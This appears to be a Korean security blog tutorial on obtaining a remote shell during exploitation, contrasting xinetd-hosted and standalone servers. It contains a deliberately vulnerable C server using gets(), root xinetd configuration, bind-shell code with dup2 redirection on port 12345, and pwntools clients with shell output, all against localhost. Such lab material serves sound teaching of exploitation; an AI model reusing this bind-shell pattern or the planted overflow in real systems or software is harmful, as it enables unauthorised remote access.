#dokydoky
[Remote exploit] Remote shell을 얻는 방법.(Xinetd, standalone) 본문
[Remote exploit] Remote shell을 얻는 방법.(Xinetd, standalone)
dokydoky 2016. 12. 20. 12:240x1. 들어가며
안녕하세요. dokydoky입니다. remote에서 exploit 할 때, shell을 얻는 방법에 대해서 정리해보겠습니다. 이하 존칭어는 생략하겠습니다.
네트워크 프로그램을 구현하는 방법에는 두 가지가 있다.
- 표준 입출력을 사용해 프로그램을 구현한 후, Inetd 혹은 Xinetd 데몬을 이용하여 네트워크로 연결.
- Standalone 모드 : socket과 같은 독립적인 네트워크 프로토콜을 사용하여 구현하여 실행.
각 방법에 따라 어떻게 원격에서 쉘을 얻을 수 있는지 예를 통해 알아보겠다.
예제 코드에서는 원격에서 shellcode를 삽입하는 대신, 서버 코드에 미리 shellcode의 기능을 하는 동일한 코드를 구현해놓았다.
exploit할 때는 서버에서 shellcode 라고 표시되있는 코드를 실제 shellcode로 만들어서 사용하면 된다.
0x2. Xinetd 데몬에 등록된 바이너리
xinetd에 등록해놓은 바이너리는 서버의 표준 입/출력/에러가 socket descriptor와 동일하다.
따라서, local exploit에서와 같이 단순히 "/bin/sh"만 실행시켜주는 shellcode만으로 충분하다.
- Server code
[server_xinetd.c]
#include<stdio.h>
#include<unistd.h>
int main(int argc , char *argv[])
{
char *newargv[] = { "sh", NULL };
char *newenviron[] = { NULL };
char buf[100];
gets(buf);
///////////////////////////////////////////////////////////////////////////
// shellcode
execve("/bin/sh", newargv, newenviron);
////////////////////////////////////////////////////////////////////////
printf("output : %s\n", buf);
return 0;
}
- xinetd에 바이너리를 등록하는 과정
[/etc/xinetd.d/server_xinetd]
service server_xinetd
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /vagrant/bin/server_xinetd
disable = no
}
[/etc/services]
...
server_xinetd 80/tcp # server_xinetd
...
- Client code
[telnetlib 라이브러리 사용]
import socket
import telnetlib
if __name__ == "__main__":
HOST = '127.0.0.1'
PORT = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
t = telnetlib.Telnet()
t.sock = s
t.interact()
[pwntools 라이브러리 사용]
from pwn import *
if __name__ == "__main__":
HOST = '127.0.0.1'
PORT = 80
r = remote(HOST, PORT)
r.interactive()
[Result]
dokydoky:Desktop dokydoky$ python client.py
[+] Opening connection to 127.0.0.1 on port 80: Done
[*] Switching to interactive mode
$ ls
$ ls
bin
boot
dev
etc
flag
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
vagrant
var
vmlinuz
$
0x3. Standalone
standalone 모드에서는 서버의 표준 입/출력/에러가 socket descriptor와 별개이므로,
새로운 socket을 만들고, dup2 함수를 사용해 해당 socket descriptor를 표준 입/출력/에러로 복사해주는 과정이 필요하다.
이렇게 되면, 원격(client)에서는 새롭게 열린 소켓을 서버의 표준 입/출력으로 사용할 수 있다.
- Server code
#include<stdio.h>
#include<string.h> //strlen
#include<sys/socket.h>
#include<arpa/inet.h> //inet_addr
#include<unistd.h> //write
int main(int argc , char *argv[])
{
////////////////////////////////////////////////////////////
// Variables for shellcode
char *newargv[] = { "/bin/sh", NULL };
char *newenviron[] = { NULL };
int t_sockfd, t_your_sockfd, t_len;
struct sockaddr_in t_my_addr, t_your_addr;
////////////////////////////////////////////////////////////
int socket_desc , client_sock , c , read_size;
struct sockaddr_in server , client;
char client_message[120];
//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
printf("Could not create socket");
}
puts("Socket created");
//Prepare the sockaddr_in structure
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 80 );
//Bind
if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)
{
//print the error message
perror("bind failed. Error");
return 1;
}
puts("bind done");
//Listen
listen(socket_desc , 3);
//Accept and incoming connection
puts("Waiting for incoming connections...");
c = sizeof(struct sockaddr_in);
//accept connection from an incoming client
client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c);
if (client_sock < 0)
{
perror("accept failed");
return 1;
}
puts("Connection accepted");
/*
//Receive a message from client
while( (read_size = recv(client_sock , client_message , 2000 , 0)) > 0 )
{
//Send the message back to client
write(client_sock , client_message , strlen(client_message));
}
*/
read_size = recv(client_sock , client_message , 100 , 0);
///////////////////////////////////////////////////////////////////////////
///////////////////////// shellcode /////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
t_sockfd = socket(AF_INET, SOCK_STREAM, 0);
t_my_addr.sin_family = AF_INET;
t_my_addr.sin_port = htons(12345);
t_my_addr.sin_addr.s_addr = INADDR_ANY;
memset(&t_my_addr.sin_zero, 0, 8);
if(bind(t_sockfd, (struct sockaddr *)&t_my_addr, sizeof(t_my_addr))==-1){
perror("bind");
exit(-1);
}
listen(t_sockfd, 5);
t_len = sizeof(t_your_addr);
t_your_sockfd = accept(t_sockfd, (struct sockaddr *)&t_your_addr, &t_len);
dup2(t_your_sockfd, 0);
dup2(t_your_sockfd, 1);
dup2(t_your_sockfd, 2);
execl("/bin/sh", "sh", NULL);
close(t_sockfd);
close(t_your_sockfd);
////////////////////////////////////////////////////////////////////////
write(client_sock , client_message , strlen(client_message));
if(read_size == 0)
{
puts("Client disconnected");
fflush(stdout);
}
else if(read_size == -1)
{
perror("recv failed");
}
return 0;
}
- Client code
vagrant@nginx:~$ ipython
Python 2.7.6 (default, Oct 26 2016, 20:30:19)
Type "copyright", "credits" or "license" for more information.
IPython 5.1.0 -- An enhanced Interactive Python.
? -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help -> Python's own help system.
object? -> Details about 'object', use 'object??' for extra details.
In [1]: from pwn import *
In [2]: r1 = remote('127.0.0.1', '80')
[x] Opening connection to 127.0.0.1 on port 80
[x] Opening connection to 127.0.0.1 on port 80: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 80: Done
In [3]: r1.send('hello\n')
In [4]: r2 = remote('127.0.0.1', '12345')
[x] Opening connection to 127.0.0.1 on port 12345
[x] Opening connection to 127.0.0.1 on port 12345: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 12345: Done
In [5]: r2.interactive()
[*] Switching to interactive mode
ls
a.out
checksec.sh
nginx1
nginx2
rop.txt
rop2.txt
rp-lin-x64
server
server.c
server_xinetd
server_xinetd.c
sh.asm
sh.txt
sudo
0x4. 참고자료
http://research.hackerschool.org/Datas/Research_Lecture/remote1.txt
http://research.hackerschool.org/Datas/Research_Lecture/remote2.txt
'System Hacking' 카테고리의 다른 글
[CVE-2013-2028] Nginx stack-based buffer overflow(3) - NX, ASLR (0) | 2016.12.26 |
---|---|
[CVE-2013-2028] Nginx stack-based buffer overflow(2) - NX (0) | 2016.12.25 |
[CVE-2013-2028] Nginx stack-based buffer overflow(1) - source code (0) | 2016.12.25 |
[Shellcode] pwntools을 이용한 shellcode 만들기 (0) | 2016.12.20 |
Stack Buffer OverFlow (1) | 2011.08.24 |